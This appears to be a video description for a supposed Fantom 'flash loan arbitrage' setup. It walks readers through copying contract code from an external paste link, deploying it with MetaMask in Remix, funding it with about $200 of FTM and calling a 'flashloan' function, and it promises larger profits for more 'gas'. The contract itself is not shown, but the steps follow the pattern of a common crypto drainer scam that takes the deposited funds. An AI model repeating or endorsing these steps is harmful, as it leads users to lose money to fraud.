FTM - Fantom Opera Chain: How to setup a Multi DEX arbitrage in Solidity and Metamask.
In this video I am showing you how to setup a arbitrage using Multiple DEXs; SpookySwap and SpiritSwap. Make sure your metamask is connected to phantom opera chain and you have some FTM to cover gas fees.
REMEMBER : In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask, otherwise it will not work.
NEW GAS FEE REQUIRED: APPROX 146 FTM
REMOVED AUTO LOAN FUNCTION
Setup Metamask to connect to Fantom Opera - https://docs.fantom.foundation/tutorials/set-up-metamask
Smart Contract Code Link - https://ghostbin.com/08Qwd/raw
Remix Link - http://remix.ethereum.org/
SpiritSwap - https://app.spiritswap.finance/#/
SpookySwap - https://spookyswap.finance/
Flash Loan Explanation - https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
USD to FTM - https://coincodex.com/convert/fantom/usd/
TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE
In this video, you can see how I used Flashloans to Arbitrage in Phantom Opera by deploying Contract/Token to mask our arbitrage attack.
This worked for me. But TRY IT AT YOUR OWN RISK.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code (https://ghostbin.com/08Qwd/raw)
3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.16+commit version and hit Compile.
4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
5. Get the Contract address from Remix
6. Send 200$ish of Fantom/FTM to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
7. Call 'flashloan' function in Remix.
NOTE: If anyone needs a good bridge to get funds from one chain to the other I recommend "https://bridge.evodefi.com/?token=USDC". However make sure you have atleast a little of the native token to that chain so that you can cover gas fees to swap USDC once it arrives on new chain. I'm in no way connected to the project but like it for moving funds between chain.. Once again make sure you have native token atleast a little on chain so that you can swap coins once funds are there.
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